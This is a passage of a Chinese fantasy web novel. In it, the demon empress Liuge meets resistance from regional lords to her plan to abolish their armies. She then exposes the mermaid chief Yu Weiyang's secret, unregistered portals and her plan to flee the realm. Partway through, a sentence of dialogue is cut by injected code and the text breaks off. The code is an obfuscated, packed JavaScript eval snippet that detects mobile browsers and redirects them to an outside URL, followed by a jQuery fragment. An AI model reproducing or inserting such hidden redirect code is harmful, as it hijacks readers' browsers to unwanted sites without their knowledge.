琉歌话音刚落,帝宫内的空气便骤然紧绷起来。
之前关于尊号,抚育司乃至蛛网等事情,虽也触及了领主们的部分利益,但尚在领主们可咬牙忍受的范围内。
然而……削天下兵权和设郡县这两把直抵心窝的尖刀,终于还是被琉歌挑明,摆上了明面。
短暂的死寂后,反对的声浪如同压抑已久的火山,轰然爆发!
“尊上!此事万万不可!”脾气最为暴躁的第三洲领主之一,刀脊鲨族族长激浪愤愤不平,率先抗议道。
同为水族领主的虎鲸,抹香鲸,鲛人族,龙族都是群聚而居,以一族之力保护,供养新生的幼崽。水族中,尤其是海域中,天生就是独行侠的刀脊鲨却能打出领主之位,鲨族的好战和善战可见一斑。
在一对一的情况下,水族除了龙尊常妄,谁也不能保证对上激浪百分百能获胜。
琉歌之前说的什么领地官员任命啊税收收归中央啊他都不太在意,他虽是领主,却只负责第三洲的军备和防务,第三洲洲府无烬炎是春在野的地盘,他插不上手,也懒得插手。
刀脊鲨一族以战功封领主,激浪身为刀脊鲨领主,只在乎自己手里有多少可用的兵。
“外敌当前,贸然收拢军队改天下军制章程,恐造成难以估量的混乱,若此时魔族入侵,失去了军队的领主,该如何保卫自己的领地,保卫领地内的妖族百姓?”
“等着青丘驰援吗?”激浪粗声粗气的直接质问琉歌,“若青丘被魔将甚至魔尊绊住了脚,我们岂不是只能等死?!”
和喻未央同为第二洲领主的黄金蟒族长金戈微微偏头,似有似无的目光带着探究和审视,扫过一直抿唇垂首的喻未央。
“龙族之后,水域以鲛人为首……”金戈眼睛一弯,声音压得极低,皮笑肉不笑的怂恿道:“喻未央大人,激浪都已经帮我们开了头,您不和我们一起,捍卫自己的权力吗?”
喻未央垂首静默不语,反倒是第七洲领主之一的蛇族族长,虎斑海蛇血脉的掠芜闻言蹙眉,不悦的瞪了一眼挑唆水族关系的金戈。
“若说刀脊鲨是水里的独行侠,你黄金蟒就是路上的独行侠,军权于黄金蟒一族而言亦是不能交出的底线……何苦来挑拨我们水族替你出头?”掠芜一双灰绿色的竖瞳凝在金戈身上,警告的意味十足。
“尊上,领主手握军权实乃保境安民之所需。”掠芜不再管金戈,追在激浪后面开口道:“妖界疆域辽阔,山川险阻,各处魔渊裂隙、凶兽恶兽层出不穷!领主若无一兵一卒在手,如何及时应对突发祸患?难道事事都要千里迢迢上报青丘,等赤琉璃驰援?只怕到时早已生灵涂炭!”
“若如激浪领主所言,发生了青丘被围分身乏术的情况,手握兵卒的领主也可以从四方驰援青丘——肇武先皇分封我等领兵镇守各地,正是出于此虑。尊上今日要夺回我等的兵权,岂非置边民安危于不顾?”
她声泪俱下,仿佛已看到军改后妖族一团混乱,腹背受敌的景象。
武不为左看看又看看——一边是神情激愤,以水族为代表反对派,一边是缄默不语的喻未央和束漫时等人,一时间明白了什么,忍不住笑了。
罪多不压身,虱子多了也咬不死人,从学宫研学派开始,她能得罪这位新君的地方几乎全得罪了,也不差帮水族说话这一条。
更何况她本就是水族第三大族的族长。
“尊上,我虎鲸族是第一批投入肇武先皇麾下的水族,随先皇大小血战十七场,族中壮年期的子嗣投身前线时没有丝毫犹豫惜身……如今是十不存三啊,这才换来这片领地。兵权、税权、治权,此三权乃是肇武先皇对我族牺牲的认可与酬功。”
“如今尊上唇舌一碰就要全部收回,岂非寒了所有追随先皇开疆拓土的功臣之心?日后……”她意有所指的笑着指了指头顶,“还有谁愿为妖界死战?”
掠芜感激的向武不为投去一瞥,语气稍缓,威胁性却更重。
“尊上明鉴,水族并非想和尊上对着干,只是海域广阔,情况复杂,非一时半刻就能熟悉摸透的。水族上岸打陆战尚有一战之力,陆族在海里打水战却难免力不从心——仓促改制,臣等恐海防会出现致命破绽,一旦仙魔趁机自海上袭来……青丘西面海岸线漫长曲折,只怕帝宫亦难安稳。”
这番话看似为妖界着想,实则是最赤裸不过的威胁——动了我们的根本,你的海疆防线就要垮。
“臣恳请尊上三思,不求您收回成命,至少……至少要使地方保留部分卫戍之权。”掠芜以退为进,说完这话后便将舞台让给了被点燃了情绪的众领主们,殿内一时嘈杂,试图以众怨众怒迫使锐意改革的定宸妖皇让步。
惊轶、风弄堂,危天梭等已明确站在中央一边的臣子面色凝重,弥随音手按剑柄,眼神微冷。
藏权云等新晋将领则屏息以待,他们年轻,更倾向于琉歌所描绘的强力中央集权制度,却也在此时感受到了莫大的压力。
琉歌始终靠在神座上,面色平静地听着,甚至又端起茶杯抿了一口,仿佛在看一场与己无关的闹剧。
直到声浪渐歇,所有反对者都陈述完毕,或怒目,或悲切,或忐忑地望着她时,她才轻轻放下茶杯,发出一声几不可闻的脆响。
这声响仿若带着奇异的魔力,大殿瞬间重归寂静。
“海域防务是大事,一直以来都是谁在统筹?”她先是点点头,赞成了掠芜等人的话。
喻未央再也不能装哑巴了,悄无声息的叹了口气,她站出来,拱手行礼,“尊上,在下曾任问情先皇第二神使,海域的巡逻和布防一直是在下在统筹。”
“你们都听喻未央的话?”银发妖皇捧起茶杯吹了吹上浮的热气,水汽氤氲,朦胧了她的眉眼。
掠芜不明所以,还是点了点头,“是的,您若一定坚持要废领主的兵权,那请您原谅,水族只能为了妖界的安全,而选择违背您的意志了!”
琉歌没有理会掠芜,只是看着喻未央:“喻未央,既然他们都听你的,那你就说说吧,水族都做了什么?”
她笑容温和,喻未央也不会在这样简单的述职上驳了妖皇的面子,思索片刻开了口,详细讲述了海防的巡逻和落点布局规划,讲了如何跟随洋流更新部署巡逻的妖族,如何及时的发现魔渊裂隙和如何清理小型的魔渊裂隙。
“干得好,”琉歌笑容愈发扩大了,“真是辛苦水族的众位了,我再次确定一下,鲛人族长喻未央说的这些,是所有水族的功劳,对吧?”
莫名其妙的,掠芜头皮一炸,冷血的蛇族忽然在温暖的大殿内打了个寒颤。
“对!尊上您到底想说什么?不妨直言!”还没等她想明白那股杀意来自何方,激浪已经很不耐了,眉头拧的死紧,直白的承认了。
琉歌抬眼,再不掩饰目光中潜藏的森森杀意,眼珠缓缓扫过众人,妖皇威压骤然降下!
“喻未央,我问你,我离开神庭的这一个多月里,你前后总共派了二十支巡逻小队前往同一个坐标——那里有什么?”
“第二洲鲛人族领地内大小传送阵共五十个,却只有四十八个被青丘登记在册,接受青丘联合副会的维护和保养……喻未央啊,还有两个传送阵,是通向何方呢?”
喻未央抬眸,没有惊愕,没有求饶,只是一派早已了然的苦笑:“您还和小时候一样,喜欢握着证据看我们挣扎的样子。”
“我曾那么喜欢你,视你如我的子女一般,在春在野日渐癫狂的野心下尽力保护着你……可你带给我们的是什么呢?您直接断开所有联系,叛出了神庭!”喻未央冷冷自嘲一笑。
没什么好辩解的,她知道琉歌是最谨慎的猎手,若不是有了十足把握的情况,她不会对她动手的。
既然如此,何必再自取其辱呢?
鲛人族自视甚高,从来以海洋的宠儿自居,龙族代表了高贵的血统,他们就是整片蔚蓝海域神秘的化身,神秘的代名词。
“……我忍受了那么久的聒噪,就为了等你开口,喻未央,我还不够喜欢你吗?”
琉歌真心实意的疑惑道,“你说视我如子女,我却从不觉得您站在我身边过——春在野来取血时您缄口不语,融合仪式您明明看出那是召唤仪式了,却依然默许。”
“您对我的喜欢,就是默许他们对我做这一切吗?”她心很累似的微微歪头,“鲛人族就是这样对待幼崽的吗?”
“喻未央,你最开始喜欢的是我,还是我和问情相
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310271|198802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同的性别,相似的脸?”
非礼勿听,弥随音提醒自己,可他细密的犯疼的心口却容不得他闭目塞听。
琉歌的声音很轻,却像淬了冰的针,一根根扎进殿内每个妖的耳朵里。她站起身缓缓从高台上的妖皇神座走下,银发在她身后流淌,如冰雪雕刻的星河。
“你喜欢我,所以在我最需要帮助的时候,选择站在我的对立面?”
她停在喻未央面前三步远的地方,目光平静得可怕,鲛人族长无话可说,一撩衣摆跪了下去,闭眼低头,重重叩首。
“你喜欢我,所以明知春在野包藏祸心却一言不发?你喜欢我,所以在魔族可能入侵、妖界最需要团结的时候,想的不是如何加固海防,而是……如何给你的族人,找一条逃去人界的退路?”
“什么?!”掠芜失声惊呼,难以置信地看向喻未央。
激浪瞪圆了眼睛,粗重的呼吸声在寂静的大殿里格外清晰。
一直端着乐子人心态搅混水的武不为,脸上挂着的混不吝的笑容陡然僵住,“尊上,这不可能——妖界头顶那肇武先皇以真身化作的屏障被我们试验了数千次,用尽了各种办法,最后的结论就是进不来出不去……鲛人族,鲛人族怎么可能只凭一族之力,就找到了打开屏障的办法?!”
喻未央抬头,睁开眼,墨蓝色的眼瞳里是一片深海般的平静,没有慌乱,只有一丝早已预料的疲惫:“您都查到了。”
“很难查吗?”琉歌扯了扯嘴角:“二十支巡逻队,反复去一个远离航线、靠近屏障薄弱点的荒芜海沟。两个未登记的传送阵,能量波动特殊,与已知所有妖界阵图不符。这些本就满是疑点,是你把青丘想得太弱了。”
她每说一句,喻未央的脸色就白一分,但背脊依旧挺直。
其他水族领主,尤其是掠芜和激浪,脸色已经黑如锅底——他们刚刚还在为海防、为兵权据理力争,转头却发现,他们隐隐为首、信赖有加的鲛人族长,早就背着所有妖族,给自己铺好了逃跑的路!
喻未央沉默许久,终于缓缓点头,声音依旧平稳,却带上了一丝不易察觉的涩然:“是,仙魔环伺,强悍如龙族,在仙族有心渗透之下,也不过是沙子堆成的沙堡,稍微一碰就一溃千里……妖界前途未卜,我为族长,不能不为全族寻一条生路!”
“好一个求一条生路……!”
掠芜气得浑身发抖,怒火充斥着她灰绿色的竖瞳,“喻未央!我们把你当水族的头脑,信赖你——你倒好,原来早就打算丢下我们自己跑了?!你把我们当成什么了?固守妖界的傻子,战场上以卵击石的炮灰,还是你逃跑时殿后的肉盾?!”
激浪更是直接踏前一步,周身煞气翻涌,死死盯着喻未央:“难怪你一直不吭声!老子在前面为了兵权吵破天,你他妈在想怎么带着你家崽子溜号?!我们水族的脸都被你丢尽了!”
面对同族的怒火和指责,喻未央只是微微偏过头,避开了掠芜几乎要喷火的眼睛,轻声道:“抱歉,但我必须为我的族群负责。”
“负责?你这是背叛!”
武不为也冷下了脸,“背叛了问情先皇留下的基业,背叛了所有并肩作战的妖族!你以为逃去人界就安全了?人族若知道妖界有鲛人逃过去,他们会放过这样好的向妖族复仇的机会?只怕到时候,等待你们的是比在妖界更彻底的奴役或剿杀!”
“仙魔徘徊境外,你们以为妖界就能好到哪里去吗!”喻未央何尝不知风险?
她死死咬牙,“鲛人追随问情肇武先皇开疆拓土,何止是为了求一份安宁!可谁知问情……问情她这样早,这样突然的就陨落了?!”
“都闭嘴。”琉歌冷冷斥责道,妖皇的声音压过了所有的灼烈的愤怒和拙劣的辩白。
她看着喻未央,眼神复杂:“身为族长为族群虑后,或许在你看来无可厚非。”
她的语气没有任何波动,“但你的行为在任何时候都是背叛。尤其是现在——外敌当前,军制将改,你身为海域防务统筹者、水族之首,却暗中谋划弃界而逃,动摇军心,破坏团结,此罪无可赦也。”
喻未央深深吸了一口气,她知道结局已定了。
“罪臣……听凭妖皇发落。”